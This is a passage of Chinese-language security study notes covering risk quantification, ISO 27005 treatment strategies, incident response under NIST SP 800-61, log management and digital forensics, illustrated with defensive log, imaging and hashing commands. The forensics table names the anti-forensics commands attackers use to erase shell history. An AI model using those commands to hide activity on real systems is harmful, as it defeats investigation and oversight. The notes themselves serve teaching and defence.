主觀性	高（依賴評估者經驗）	中（等級映射仍有主觀性）	低（依據數據推算）
典型方法	風險矩陣（Likelihood × Impact）、Delphi 法	分數矩陣（高=5、中=3、低=1 相乘排序）	ALE 公式、蒙地卡羅模擬（Monte Carlo Simulation）、FAIR 模型
適用情境	初步篩選、資源有限時的快速分類	缺乏歷史數據但需要跨項目排序比較	需要財務決策依據時（如 ROSI 分析）

定性與定量分析的搭配

實務上常先以定性分析快速篩選高風險項目，再對這些項目執行定量分析產出財務數據。純定量分析不常見，因為許多風險難以取得可靠的歷史發生率數據。

風險矩陣（Risk Matrix）

以二維矩陣呈現可能性（Likelihood）與衝擊（Impact），交叉點決定風險等級，協助排定處理優先順序。屬於定性工具，輸出為等級標籤，不涉及財務數值。

可能性 ↓ / 衝擊 →	低	中	高
高	中	高	高
中	低	中	高
低	低	低	中

Delphi 專家評估法

結構化的專家共識方法，用於缺乏歷史數據、只能依賴專家判斷的風險評估場景。

1. 向各專家發送匿名問卷，收集個別意見。
2. 彙整統計後將結果回饋給所有專家。
3. 專家依群體反饋修正自身判斷。
4. 重複迭代直到意見收斂至共識。

匿名設計的目的是消除從眾效應與權威影響，確保每位專家的判斷獨立。

分數矩陣法（Score Matrix）

半定量分析工具，將定性等級映射至組織自訂的數值後相乘，產出風險優先度分數。常見範例為高=5、中=3、低=1，但數值與等級數量均可依需求調整，量表須在同一次評估中保持一致。

風險優先度 = 可能性分數 × 影響分數，結果僅供相對排序，不代表實際損失金額。

風險矩陣 vs 分數矩陣

兩者結構相同（Likelihood × Impact），差別在輸出格式：

• 風險矩陣（定性）：輸出等級標籤（高/中/低），用於快速分類
• 分數矩陣（半定量）：輸出數值分數，用於跨項目比較優先順序

風險量化公式

術語	中文	說明
ALE（Annualized Loss Expectancy）	年化損失預期	一年內因特定威脅預期的平均損失金額，$ALE=ARO\times SLE$
ARO（Annualized Rate of Occurrence）	年化發生率	一年內某威脅事件預期發生的次數（如 0.1 = 每 10 年一次）
SLE（Single Loss Expectancy）	單次損失預期	每次威脅事件發生時的預期損失金額，$SLE=AV\times EF$
AV（Asset Value）	資產價值	資產的貨幣價值
EF（Exposure Factor）	曝險係數	威脅發生時，資產可能損失的比例（0–100%）

公式串接

$ALE=ARO\times SLE$

$SLE=AV\times EF$

$\therefore ALE=ARO\times AV\times EF$

範例：伺服器價值 100 萬（AV），遭勒索軟體加密後須重建估計損失 60%（EF = 0.6），估計每 5 年發生一次（ARO = 0.2）。 → SLE = 100 萬 × 0.6 = 60 萬 → ALE = 0.2 × 60 萬 = 12 萬/年

若防護措施每年花費低於 12 萬，就符合成本效益。

蒙地卡羅模擬（Monte Carlo Simulation）與 ALE

傳統 ALE 公式假設 ARO 與 EF 是固定值，但實際上這些參數本身就有不確定性範圍（如「每 3–7 年發生一次」）。蒙地卡羅模擬透過大量隨機採樣，對每個變數取樣其可能值，執行數萬次計算，產出 ALE 的機率分布而非單一數字，是高階定量風險分析（QRA）的標準方法。

例如輸出：「有 90% 的機率，年化損失不超過 50 萬元」，比「預期損失 20 萬」更具決策價值。

ROSI（Return on Security Investment，資安投資報酬率）

ROSI 衡量安全控制措施的財務合理性：投資能節省多少損失？

$$ROSI=\frac{(AL{E}_{before}-AL{E}_{after})-\text{控制措施年費用}}{\text{控制措施年費用}}\times 100\mathrm{\%}$$

術語	說明
ALE_before	實施控制措施前的年化損失預期
ALE_after	實施控制措施後的年化損失預期（風險降低後）
控制措施年費用	該安全措施每年的總擁有成本（授權費 + 人力 + 維護）

範例：防毒軟體年費 2 萬，預計可將 ALE 從 15 萬降至 3 萬。

• 節省損失：15 萬 − 3 萬 = 12 萬
• 淨效益：12 萬 − 2 萬 = 10 萬
• ROSI = 10 萬 / 2 萬 × 100% = 500%（每投入 1 元可節省 5 元損失）

FAIR 模型（Factor Analysis of Information Risk）

FAIR 是業界主流的定量風險分析框架，由 The Open Group（國際開放標準組織）維護的開放標準，將風險拆解為可量化的因子樹狀結構，最終產出損失的機率分布。

術語	說明
Loss Event Frequency（LEF）	在一定時間內，威脅成功導致損失的預期次數
Threat Event Frequency（TEF）	威脅嘗試行動的頻率（不論成功與否）
Vulnerability	威脅事件轉化為損失事件的機率（控制措施越強，此值越低）
Loss Magnitude	單次損失事件的影響規模，拆分為直接損失（Primary）與衍生損失（Secondary，如聲譽損害、法律訴訟）

FAIR vs 傳統 ALE

• ALE 公式是「單點估計」，FAIR 透過因子分解與機率分布，產出「有 X% 機率損失不超過 Y 元」的結論，決策品質更高。
• FAIR 與 ISO 27005、NIST CSF 可互補使用：ISO 27005 定義風險管理流程，FAIR 提供量化分析方法。
• 導入門檻：需要收集細粒度的威脅與控制措施數據，適合資安成熟度較高的組織。

風險處理策略對照表

策略（ISO 27005）	英文	定義	範例	適用情境
風險規避（迴避）	Risk Avoidance	放棄可能引發風險的活動或資產	停止使用不安全的舊版協定、放棄高風險市場	風險過高且無法有效降低時
風險修改（降低）	Risk Modification	實施控制措施降低風險發生機率或影響	部署防火牆、實施 MFA、加密傳輸	風險可接受範圍內，且控制措施成本合理
風險分擔	Risk Sharing	與第三方共同承擔風險的部分後果，通常是財務衝擊或契約責任的一部分	投保資安險、委外託管（MSP/MSSP）、SLA 約定賠償機制	風險影響大，但可透過契約或保險分散衝擊時
風險保有（接受）	Risk Retention	承認風險存在，不採取額外措施	殘餘風險低於風險胃納量、修補成本遠高於潛在損失	風險在可容忍範圍內，或控制成本不符效益

ISO 27005 風險處理流程

1. 風險評鑑（Risk Assessment）：識別 → 分析 → 評估。
2. 依評估結果，對每項風險選擇處理策略（規避/修改/分擔/保有）。
3. 制定風險處理計畫（Risk Treatment Plan），記錄選定策略與實施時程。
4. 殘餘風險（Residual Risk）須經管理階層正式核可接受。

風險術語補充對照表

術語	英文	定義
固有風險	Inherent Risk	未實施任何控制措施前的原始風險水準，反映資產面對威脅的自然暴露程度
殘餘風險	Residual Risk	實施風險處理措施後仍存在的剩餘風險，需由管理階層正式接受
次級風險	Secondary Risk	因風險回應措施本身所引發的新風險（如導入監控系統以降低資安事件風險，但同時製造員工隱私疑慮）
風險轉移	Risk Transfer	將風險後果中的特定部分透過保險、契約或賠償條款轉嫁給第三方
風險接受	Risk Acceptance	管理階層知悉並正式接受風險，不採取進一步處理措施，適用於殘餘風險在風險胃納範圍內的情況
風險容量	Risk Capacity	組織在不危及生存的前提下，能承受的最大損失上限，是客觀的財務/營運邊界（不同於風險胃納量：後者是主觀意願，前者是客觀能力）
風險胃納量	Risk Appetite	組織策略性選擇願意主動承擔的風險上限，屬主觀意願決策，必須低於或等於風險容量
風險閾值	Risk Threshold	特定風險的觸發水準，超過時需立即啟動應對措施，通常低於風險胃納量

風險分擔 vs 風險轉移

比較	風險分擔（Risk Sharing）	風險轉移（Risk Transfer）
ISO 27005 術語	✅ 正式術語	常見俗稱，非 ISO 27005 正式術語
定義	與第三方共同承擔風險後果，通常是財務損失、服務水準違約責任或營運衝擊的一部分	將特定風險後果透過保險或契約轉嫁給第三方，通常強調「財務負擔」的移轉
實質差異	原始風險與治理責任仍在組織，只是由第三方分攤部分後果	語意上較強，但在實務上通常也只是移轉部分財務後果，不代表法律責任完全消失
範例	委外託管：服務中斷損失由雙方依 SLA 或賠償上限分擔	購買資安險：保險公司吸收部分理賠金額

兩者在實務上常混用；ISO/IEC 27005 正式採用 Risk Sharing，Risk Transfer 是較常見的俗稱。無論採用哪種術語，保險或委外契約只能移轉部分財務後果，GDPR、個資法等法規的合規義務與法律責任不因此消失。

風險保有 vs 風險接受

比較	風險保有（Risk Retention）	風險接受（Risk Acceptance）
性質	風險處置策略（四選一）	管理階層的正式核准動作
出處	ISO 27005 處置選項清單；ISO 27001 本文未列策略名稱	ISO 27001 Clause 6.1.3e 直接要求；ISO 27005 說明流程細節
發生時機	評估後，選擇不採取額外控制措施	任何處置策略執行後，對殘餘風險進行正式簽核
對應關係	可獨立成立	每種處置策略執行後都必須有對應的風險接受

兩者可同時成立：選擇「風險保有」（不處置）→ 殘餘風險等同原始風險 → 管理階層執行「風險接受」正式核准。

風險胃納量、風險容量、風險閾值的層次關係

• 風險容量（Risk Capacity）：客觀上限，超過此線組織將無法存活（如淨資產全數虧損）。
• 風險胃納量（Risk Appetite）：主觀意願，組織策略性選擇願意承受多少風險，必須 ≤ 風險容量。
• 風險閾值（Risk Threshold）：特定風險的觸發水準，超過時需立即啟動應對措施，通常低於風險胃納量。

層次由高到低：風險容量 ≥ 風險胃納量 ≥ 風險閾值。

固有風險與殘餘風險的關係

• 任何控制措施都無法將風險降至零，殘餘風險必須由管理階層正式接受。
• 次級風險是風險管理計畫常被忽略的環節：評估回應措施時，需同步識別是否引入新風險。

Shadow IT（影子 IT）

定義：未經 IT 部門核准，員工或團隊自行採用的軟體、雲端服務或硬體裝置。Shadow IT 像辦公室裡的「地下市場」：員工為了趕進度繞過正規 IT 採購，自行用私帳號買 SaaS、開雲端資源，甚至把資料貼給 AI 助手。隨著 SaaS 工具普及與 AI 服務興起，Shadow IT 的範疇已大幅擴展。

常見類型：

類型	說明	典型例子
Shadow SaaS	員工私自使用未經核准的 SaaS 工具	個人 Google Drive、Dropbox、Notion
Shadow Cloud	工程師用個人或信用卡帳號自行開設雲端資源，繞過 IT 採購流程	自建 AWS 帳號、Azure 訂閱
Shadow AI	員工將公司資料輸入未經核准的 AI 工具	把客戶資料或原始碼貼進 ChatGPT、使用未審查的 AI Coding Assistant
Shadow Data	資料被複製到未受管控的儲存位置，形成未追蹤的資料副本	把資料庫匯出存到個人 NAS、電子郵件附件轉寄到個人信箱
Shadow Hardware	未經 IT 登記的實體設備接入企業網路	個人 NAS、Raspberry Pi、未申報的路由器

共同風險：

風險	說明
資料外洩	敏感資料進入未受管控的服務，供應商條款可能允許使用資料訓練模型（Shadow AI 尤為明顯）
合規違反	資料儲存地點可能違反資料主權或 GDPR 規定
缺乏修補管理	未納入企業修補流程的軟體可能存在已知漏洞
稽核盲區	無法追蹤資料流向與使用紀錄，事件發生後難以溯源

• 對策：CASB 偵測未授權雲端服務、SaaS 管理平台、定期雲端使用盤點；提供經核准的替代方案降低員工繞道動機（員工使用 Shadow IT 往往是因為官方工具效率低落）。
• Shadow IT 與 BYOD 的交集：員工在個人裝置上安裝未經核准的工作應用程式，同時觸及兩個議題。

事件管理

資訊安全事件分類

分類	英文	說明	範例	處理優先級
安全事件	Security Event	系統或網路中識別到的狀態變化	防火牆記錄拒絕連線	低（僅記錄）
安全警報	Security Alert	可能指示安全事件的通知	IDS 偵測到異常流量	中（需分析）
資安事故	Security Incident	確認違反安全政策或威脅的事件	惡意軟體感染、資料外洩	高（立即回應）
重大資安事故	Major Incident	對業務營運造成重大影響的事故	勒索軟體鎖定核心系統	最高（危機管理）

四者的包含關係

四者是巢狀包含關係，不是平行分類：所有事故都是事件，但不是所有事件都是事故（Every incident is an event, but not every event is an incident）。範圍由大到小逐層收斂：

事件 Event：任何可觀察的系統狀態變化，包含大量正常日誌
└─ 警報 Alert：從事件中篩選出需關注的通知，仍可能是誤報
   └─ 事故 Incident：經分析確認違反安全政策，需正式回應
      └─ 重大事故 Major Incident：衝擊業務營運的事故，需啟動危機管理

資通安全事件嚴重程度分級對照表（1 至 4 級）

資通安全事件數字越大越嚴重。

項目 / 嚴重程度	第一級	第二級	第三級	第四級
判定標準（核心邏輯）	非核心系統中斷，無個資或機密外洩	非核心系統癱瘓，或涉及一般個資外洩	核心系統癱瘓、資料遭竄改，或敏感個資外洩	國家安全受威脅、關鍵基礎設施大規模停擺
知悉通報時限	1 小時內	1 小時內	1 小時內	1 小時內
損害控制或復原作業	72 小時內	72 小時內	36 小時內	36 小時內
調查、處理及改善報告送交期限	1 個月內	1 個月內	1 個月內	1 個月內
典型範例	官網首頁塗鴉、一般辦公電腦中毒	核心業務短暫中斷、非敏感個資外洩	醫療紀錄外洩、公文流出、核心系統崩潰	電網/水利癱瘓、軍事或外交機密外洩

臺灣法規時限補充

依現行《資通安全事件通報應變及演練辦法》，各等級事件在完成損害控制或復原後，皆應持續進行調查及處理，並於 1 個月內 送交調查、處理及改善報告。

資安事件回應（NIST SP 800-61）

NIST SP 800-61 Rev. 3（2025 年 4 月）將事件回應定位為 CSF 2.0 風險管理的組成部分，不再以獨立的「事件處理手冊」形式呈現。IR 活動貫穿 CSF 2.0 的六個 Function，以 Govern 與 Identify 作為治理基礎，Protect 負責準備防護，Detect、Respond、Recover 負責實際的事件處置；持續改善貫穿整個 IR 生命週期，不再只發生於事後。

中文名稱	CSF 2.0 Function	核心任務
治理	Govern	建立 IR 政策、角色分工、授權與資源配置
識別	Identify	識別關鍵資產、評估威脅情境、確立 IR 觸發條件
保護	Protect	部署偵測工具、建立 CSIRT、制定應變計畫與演練
偵測	Detect	透過 SIEM、IDS 與日誌監控識別事件，判斷嚴重程度與影響範圍
回應	Respond	圍堵受影響系統、清除惡意程式與漏洞、執行溝通與協調
復原	Recover	系統還原並驗證正常運作、撰寫事件報告、更新應變計畫

Rev. 2（2012）四階段生命週期

Rev. 2（已於 2025 年 4 月撤銷）以四個階段定義事件處理生命週期：

階段	中文名稱	英文名稱	核心任務
1	準備	Preparation	建立 CSIRT、制定應變計畫、部署偵測工具、進行教育訓練與演練
2	偵測與分析	Detection & Analysis	透過 SIEM、IDS 與日誌監控識別事件，判斷事件嚴重程度與影響範圍
3	圍堵、清除與復原	Containment, Eradication & Recovery	隔離受影響系統（圍堵）→ 移除惡意程式與漏洞（清除）→ 系統還原並驗證正常運作（復原）
4	事後活動	Post-Incident Activity	撰寫事件報告、檢討改善措施、更新應變計畫、保存證據（供法律或稽核用途）

💡 專有名詞速查

• CSIRT：Computer Security Incident Response Team（資安事件應變小組）
• SIEM：Security Information and Event Management（安全資訊與事件管理系統）
• IDS：Intrusion Detection System（入侵偵測系統）

事件處理優先順序

• 圍堵（Containment）是第一優先：先隔離受感染系統，防止災害擴大，再進行清除與復原。
• 事後活動中的「Lessons Learned（事後檢討與經驗總結）」是持續改善的關鍵，每次事件都應產出改善建議回饋到準備階段。

CSIRT、CERT 與 SOC 的差異

組織	全名	定位	職責範圍
CSIRT	Computer Security Incident Response Team	事件應變小組	組織內部的資安事件偵測、分析、圍堵與復原，可為常設或臨時編組
CERT	Computer Emergency Response Team	緊急應變中心	國家或區域層級，提供跨組織的資安事件協調與預警（如 TWCERT/CC）
SOC	Security Operations Center	資安維運中心	24/7 持續監控，處理日常告警與事件分級，CSIRT 負責處理 SOC 升級的事件

• CERT 常作為國家層級的協調中心（如台灣的 TWCERT/CC、美國的 US-CERT），CSIRT 偏向組織內部團隊。
• SOC 側重日常監控與告警初篩，CSIRT 側重事件深入調查與應變處理。兩者常協同運作：SOC 偵測 → 升級至 CSIRT 處理。

MTTD / MTTA / MTTR 事件回應指標

指標	全名	定義	計算方式
MTTD	Mean Time To Detect	從威脅實際發生到組織偵測到事件的平均時間	偵測時間 − 事件發生時間
MTTA	Mean Time To Acknowledge	從告警觸發到分析師確認接手的平均時間	接手時間 − 告警觸發時間
MTTR	Mean Time To Respond	從偵測到事件到完成回應（圍堵/清除/復原）的平均時間	回應完成時間 − 偵測時間

時間軸順序：威脅發生 → MTTD → 偵測確認／告警觸發 → MTTA → 分析師接手 → MTTR → 解決

• 縮短 MTTD 比縮短 MTTR 更關鍵：攻擊者在組織內部潛伏的時間（Dwell Time）越長，橫向移動與資料竊取的範圍越大。
• 業界參考：業界資料顯示，全球平均 Dwell Time 已從數百天縮短至約 10 天，但仍有改善空間。
• 提升 MTTD 的做法：SIEM 關聯分析、EDR（Endpoint Detection and Response）、威脅獵捕（Threat Hunting）。
• 本筆記的定義：MTTR 起點為偵測時間，因此 MTTR 涵蓋 MTTA（MTTA 是 MTTR 的子區間）。
• 另一種常見定義：部分組織將 MTTR 起點定義為分析師接手時間，此時 MTTA 與 MTTR 為不重疊的連續區間，總回應時間 = MTTA + MTTR。
• 與 MTTP 的關係：MTTD/MTTA/MTTR 都是「事件發生後」的回應指標；弱點管理另有 MTTP（Mean Time To Patch），衡量「漏洞披露到修補完成」的平均時間，屬於事前預防階段的 KPI。

事件結案報告（Post-Incident Report）

要素	說明
事件時間軸	完整記錄從偵測、通報、圍堵到復原的每個時間節點
根因分析	追溯事件的根本原因（Root Cause），而非僅描述表面症狀
影響範圍	受影響的系統、資料筆數、業務中斷時間
矯正措施	已採取的修補行動（如修補漏洞、封鎖帳號、更新規則）
預防建議	防止同類事件再發的長期改善措施

跨平台日誌管理與取證路徑

面向	Windows	Linux
系統日誌	事件檢視器（Event Viewer）：Application、Security、System 頻道	/var/log/syslog（Debian 系）或 /var/log/messages（RHEL 系）；systemd 使用 journalctl
安全/認證日誌	Security 事件記錄（登入成功 4624、登入失敗 4625、帳號建立 4720）	/var/log/auth.log（Debian）或 /var/log/secure（RHEL）
Web 伺服器日誌	IIS：C:\inetpub\logs\LogFiles\	Apache：/var/log/apache2/；Nginx：/var/log/nginx/
防火牆日誌	Windows Firewall：事件檢視器 Windows Firewall With Advanced Security	iptables：/var/log/kern.log；nftables：journalctl -k
集中管理	Windows Event Forwarding（WEF）	rsyslog / syslog-ng 遠端轉發至 SIEM
日誌保留	GPO 設定 Event Log 大小與覆寫策略	logrotate 設定輪替與保留天數
關鍵事件	登入失敗（4625）、權限變更（4672）、物件存取（4663）	/var/log/auth.log、auditd 規則
防竄改	轉發至 SIEM 並設唯讀	遠端 Syslog + chattr +a（僅可附加）

Windows / Linux 日誌查詢指令範例

# Windows：查最近一天的登入失敗事件（4625）
Get-WinEvent -FilterHashtable @{
  LogName = 'Security'
  Id = 4625
  StartTime = (Get-Date).AddDays(-1)
} -MaxEvents 20

# Windows：直接用 wevtutil 查 Security log，最新事件優先
wevtutil qe Security /c:20 /rd:true /f:text

# Linux：查看最近一小時的 systemd journal
sudo journalctl --since "1 hour ago"

# Linux：查看上一個開機週期的日誌
sudo journalctl -b -1

# Linux：將檔案設為 append-only，降低日誌被覆寫風險
sudo chattr +a /var/log/auth.log

• Get-WinEvent -FilterHashtable 適合依 LogName、Id、StartTime 精準篩選事件。
• wevtutil qe 適合快速查詢 Event Log 或匯出事件。
• journalctl -b -1 常用於比對「本次開機前」是否已經出現異常。
• chattr +a 是 ext 系列檔案系統常見做法，代表檔案只能附加，不可覆寫或刪除。

日誌管理重點對照表

面向	重點說明
日誌用途	記錄使用者活動與異常事件，作為事後追蹤與法律佐證；保護不可否認性（Non-repudiation）
Syslog 協定	預設走 UDP port 514（不可靠，高流量時封包可能遺失）；改走 TCP 確保可靠傳遞；需加密傳輸時使用 TLS（Syslog over TLS）
集中化管理	將多設備/系統的日誌匯入 SIEM，便於統一查詢與分析
正規化（Normalization）	不同設備的日誌格式（欄位名稱、時間格式）不一致，集中分析前須先統一格式
時鐘同步（NTP）	各設備時間需與標準時源同步，確保跨設備日誌的時序正確，是稽核與司法證據的基礎
保護與留存	日誌不得被管理者任意修改；留存期限應符合法規或政策要求

Syslog 嚴重程度等級（Severity Level）

等級	數值	關鍵字	說明
Emergency	0	EMERG	系統已無法使用（如核心崩潰）
Alert	1	ALERT	需立即處理（如主要資料庫無回應）
Critical	2	CRIT	嚴重錯誤（如硬體故障）
Error	3	ERR	一般錯誤，需排查
Warning	4	WARNING	非錯誤但值得注意的異常狀況
Notice	5	NOTICE	正常但重要的事件
Informational	6	INFO	一般資訊性訊息
Debug	7	DEBUG	除錯用詳細訊息，正式環境通常關閉

常見日誌格式

格式	說明
Syslog（RFC 5424）	Linux/Unix 標準日誌協定，包含 Priority、Timestamp、Hostname、App-Name、Message 結構
JSON	結構化日誌，便於 ELK（Elasticsearch + Logstash + Kibana）等工具解析與查詢
CEF（Common Event Format）	HP ArcSight 定義，SIEM 廣泛支援的半結構化格式，欄位固定、易於跨系統整合
LEEF（Log Event Extended Format）	IBM QRadar 使用的結構化格式，與 CEF 類似但欄位定義略有不同
W3C Extended Log Format	Web 伺服器日誌標準，IIS 預設採用

容易混淆的觀念

• 留存日誌保護的是不可否認性（Non-repudiation），不是機密性或可用性。
• Syslog 走 UDP，高流量時可能遺失封包，這是 UDP 不重傳的設計特性。
• 不同設備日誌格式不同，需要正規化（Normalization），不要和去識別化（De-identification）混淆。

日誌管理最佳實踐

• 應記錄：登入成功/失敗、權限變更、資料存取、系統錯誤、管理操作。
• 不應記錄：密碼（含雜湊值）、信用卡號、個資（身分證字號、醫療紀錄），避免日誌本身成為資料外洩來源。
• 完整性保護：日誌送出後應為唯讀（Write Once Read Many），防止攻擊者竄改日誌掩蓋入侵痕跡。
• 集中化：將日誌集中至 SIEM 或日誌平台，分散在各主機的日誌難以關聯分析。
• 留存期限：依法規與政策決定（如 PCI DSS 要求至少保留一年、近三個月可即時存取）。
• 告警設定：針對高風險事件（多次登入失敗、特權帳號操作、非上班時間存取）設定即時告警。

數位鑑識：揮發性順序（Order of Volatility）

事件應變中蒐集數位證據時，應從最易消失（最揮發）到最穩定的依序取證，避免系統重啟或電源中斷後資料永久遺失。此原則源自 RFC 3227。

順序	資料來源	揮發性
1	CPU 暫存器、CPU 快取（Cache）	最高（電源關閉即消失）
2	主記憶體（RAM）	極高（關機即遺失）
3	執行中的程序、網路連線狀態、路由表	高
4	暫存檔案、分頁檔（Paging File / Swap）	中高
5	硬碟資料	中（非揮發，但可能被惡意軟體覆寫）
6	遠端日誌、SIEM 資料	低
7	封存媒體（磁帶、備份光碟）	最低

• Live Forensics（動態鑑識）：在不關機的情況下先擷取記憶體映像（Memory Dump），再進行磁碟映像（Disk Image）。
• 任何對系統的操作（如執行工具程式）都可能改變 RAM 內容，取證前須謹慎評估。
• Write Blocker（寫入封鎖器）：取證時必須避免對目標媒體的任何寫入，常見做法：
  • 硬體 Write Blocker：外接裝置，硬體層面攔截所有寫入指令，接在目標磁碟與取證機之間，優先選用。
  • Forensic 開機環境：從 USB 開機進 Kali Forensic mode 或 WinPE 取證環境，本機磁碟不掛載，避免 OS 啟動污染磁碟。
  • 映像至外部媒體：使用 dd、FTK Imager、dcfldd 讀取來源、將映像寫入外部媒體，原始磁碟僅被讀取。

磁碟映像工具比較

工具	平台	特點
dd	Linux / macOS	系統內建，逐位元組複製，無進度顯示，無內建 hash，語法錯誤可能覆寫來源
dcfldd	Linux	dd 的取證強化版（美國國防部電腦鑑識實驗室開發），支援邊複製邊計算 hash、進度顯示、同步寫入多個目標
FTK Imager	Windows（GUI）	AccessData 出品，可輸出 E01（Expert Witness）或 AD1 格式，內建 hash 驗算，支援邊複製邊預覽

儲存媒體空間結構與隱藏資料

調查人員在取得磁碟映像後，除了現有檔案外，還會針對以下區域尋找隱藏或殘留資料：

區域	說明	鑑識意義
Slack Space（檔案剩餘空間）	OS 以固定大小的叢集（Cluster）為單位分配儲存空間。檔案大小若非叢集整數倍，最後一個叢集從「實際檔案結束點」到「叢集結束點」之間的空間即為 Slack Space	可能殘留舊資料（前一個使用該叢集的檔案內容），即使原始檔案已刪除或覆寫，Slack Space 中的片段仍可被讀取
Unallocated Space（未配置空間）	檔案系統中未被任何現存檔案佔用的磁區。檔案刪除後，OS 僅將叢集標記為「可用」，不會立即清除資料	資料在被新檔案覆寫前仍可被鑑識工具（如 Autopsy、FTK）還原，常用於找回攻擊者刪除的惡意程式或日誌

Windows 執行痕跡鑑識（Registry 與系統檔案）

即使程式已被刪除，以下登錄機碼仍會保留執行紀錄：

位置	說明
Shimcache（AppCompatCache）	HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache，記錄曾在系統上執行過的程式路徑與時間戳（重開機後才更新）
Amcache.hve	C:\Windows\appcompat\Programs\Amcache.hve，記錄安裝或執行過的應用程式的雜湊值、路徑與第一次執行時間
Prefetch（.pf）	C:\Windows\Prefetch\，記錄程式首次執行時載入的 DLL，保留執行次數與最後 8 次執行時間
MFT（Master File Table）	NTFS 的核心元資料表，記錄每個檔案的屬性（大小、時間戳、資料位置）；即使檔案被刪除，MFT 記錄仍可被鑑識工具讀取。記錄的是檔案「當下」的狀態，不保留歷史變更序列。
$UsnJrnl（Update Sequence Number Journal，更新序號日誌）	記錄磁碟區內所有檔案與目錄的變更事件序列（建立、刪除、重新命名、資料變更、加密等），每筆記錄帶有 USN 序號與時間戳。即使目標檔案已被刪除，日誌記錄依然存在，是追蹤勒索軟體加密行為軌跡的最佳來源。
$LogFile（NTFS 交易日誌）	記錄即將或已完成的 NTFS 元資料異動，供系統崩潰後復原 MFT 一致性。內容以交易（Transaction）為單位，鑑識上可用來還原最近的 MFT 變更，但留存時間較短（循環覆寫）。
$Bitmap	記錄每個叢集（Cluster）的配置狀態（0 = 未使用，1 = 已配置）。鑑識上用來識別 Unallocated Space 的範圍，確認哪些磁區可能含有已刪除的資料殘留。

• Shimcache / Amcache 的鑑識價值：可證明某個可執行檔曾經存在於系統上並被執行，即使攻擊者事後已刪除該檔案。
• Prefetch 在 Windows Server 預設關閉（以提升 I/O 效能），勒索軟體也常以停用 Prefetch 來反鑑識。

Linux 數位鑑識常用路徑

/proc/[pid]/ 是 Linux procfs 的虛擬目錄，即時反映特定程序（Process）的執行期狀態，常見鑑識路徑如下：

路徑	內容	鑑識用途
/proc/[pid]/maps	程序的虛擬記憶體佈局，含映射的檔案路徑與動態連結庫（.so）	確認程序載入了哪些共享函式庫，可發現惡意注入的 .so
/proc/[pid]/cmdline	啟動程序時使用的命令列參數	查看程序啟動參數，但已結束程序無法讀取
/proc/[pid]/environ	程序繼承的環境變數	尋找硬編碼的金鑰或設定值
/proc/[pid]/status	程序狀態（PID、PPID、UID、GID 等）	確認程序的父子關係與執行身分
/proc/[pid]/fd/	程序目前開啟的所有檔案描述符號（File Descriptor）	查看程序正在讀寫的檔案或網路連線
~/.bash_history	Shell 歷史指令記錄，每次登出時寫入	還原攻擊者操作序列；攻擊者常以 history -c 或 unset HISTFILE 清除

證據保管鏈（Chain of Custody）

記錄數位證據從蒐集到呈堂的完整保管歷程，確保證據的完整性與法律效力。每次移交或存取須記錄：

項目	說明
何人（Who）	取得、移交或存取者的身分
何時（When）	精確的時間戳
何地（Where）	地點或儲存位置
操作內容（What）	執行的動作（如製作磁碟映像、移交給鑑識人員）

保管鏈一旦中斷（如證據曾脫離保管或存取未記錄），法庭可能不採納該證據。

Hash 完整性驗證：蒐集證據時，立即對原始媒體與映像各計算一次 hash（通常 SHA-256），並記錄進保管鏈文件。後續所有鑑識作業在副本上進行，每次開始前重新驗算 hash。若 hash 相符，可向法庭證明副本與原始媒體 bit-for-bit 相同且未遭竄改。

平台	指令
Linux	sha256sum disk.img
Windows	certutil -hashfile disk.img SHA256

Linux 日誌搜尋與鑑識指令

# 使用 journalctl 搜尋特定時間範圍的 SSH 事件
journalctl --since "2025-01-01 00:00:00" --until "2025-01-02 00:00:00" -u sshd

# 搜尋 SSH 暴力破解（登入失敗紀錄）
grep "Failed password" /var/log/auth.log | tail -20

# 統計 SSH 登入失敗的來源 IP（按次數排序）
grep "Failed password" /var/log/auth.log \
  | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn | head -10

# 記憶體傾印（Memory Dump）— 使用 LiME 核心模組
sudo insmod /opt/lime/lime-$(uname -r).ko "path=/evidence/mem.lime format=lime"

# 使用 dd 建立磁碟位元級映像（Bit-for-bit Disk Image）
sudo dd if=/dev/sda of=/evidence/disk.img bs=4M status=progress

# 計算映像檔雜湊值（確保證據完整性，維護 Chain of Custody）
sha256sum /evidence/disk.img > /evidence/disk.img.sha256

日誌記錄的資安注意事項

• 禁止記錄敏感資料：密碼、信用卡號、個人身分證字號等不得出現在日誌中。
• 日誌完整性保護：攻擊者入侵後常清除日誌掩蓋痕跡，應將日誌即時轉發至獨立的 SIEM 或集中式日誌伺服器。
• 時間同步：所有系統應透過 NTP 同步時鐘，確保跨系統日誌的時間軸可正確關聯。
• 日誌保留期限：依法規要求（如《資通安全管理法》規定至少保留 6 個月）與業務需求設定保留策略。

記憶體鑑識（Memory Forensics）

記憶體（RAM）是揮發性最高的證據來源，包含正在執行的程序、網路連線、解密後的金鑰與惡意程式碼，這些資訊在關機後即永久消失。Volatility 是最主流的開源記憶體鑑識框架，可分析 Windows / Linux / macOS 的記憶體映像（Memory Dump）。

核心分析目標：

分析對象	Volatility 常用指令（v3）	鑑識意義
正在執行的程序	windows.pslist / windows.pstree	列出所有程序與父子關係，找出偽裝成系統程序（如假冒 svchost.exe）的惡意程式
網路連線	windows.netstat	列出所有 TCP/UDP 連線及對應程序，找出異常的 C2 通訊連線
注入的惡意程式碼	windows.malfind	掃描具有「可執行 + 可讀寫（RWX）」保護屬性且無對應磁碟檔案的記憶體區段
DLL 列表	windows.dlllist	列出程序載入的所有 DLL，發現異常注入的 DLL
Registry Hive	windows.hivelist	列出已載入的 Registry Hive 記憶體位址，可進一步 dump 出 SAM / SYSTEM 等 Hive

VAD（Virtual Address Descriptor，虛擬位址描述元）樹狀結構：

Windows 核心以 VAD 樹記錄每個程序的記憶體區段配置狀況與保護屬性（如 PAGE_EXECUTE_READWRITE）。惡意程式碼注入（Process Injection、Process Hollowing）時，常先分配一塊帶有 RWX（可讀可寫可執行）權限的記憶體區段，再寫入 Shellcode；此時該記憶體區段存在於 VAD 中但沒有對應的實體磁碟檔案，在 VAD 樹中是非常明顯的異常特徵，也是 windows.malfind 的主要偵測依據。

取得記憶體映像的常見方法

作業系統	工具	說明
Windows	WinPmem、DumpIt、FTK Imager	商用或開源工具，以核心驅動讀取實體記憶體並輸出 raw / lime 格式
Linux	LiME（Linux Memory Extractor）	核心模組，透過 insmod 載入後將記憶體 dump 至本機或透過網路傳輸
虛擬機器	Hypervisor Snapshot	VM 快照直接包含記憶體狀態，鑑識時最易取得，也最乾淨

營運持續與災難復原

備份類型對照表

備份類型	英文	備份範圍	備份時間	還原步驟數	儲存空間
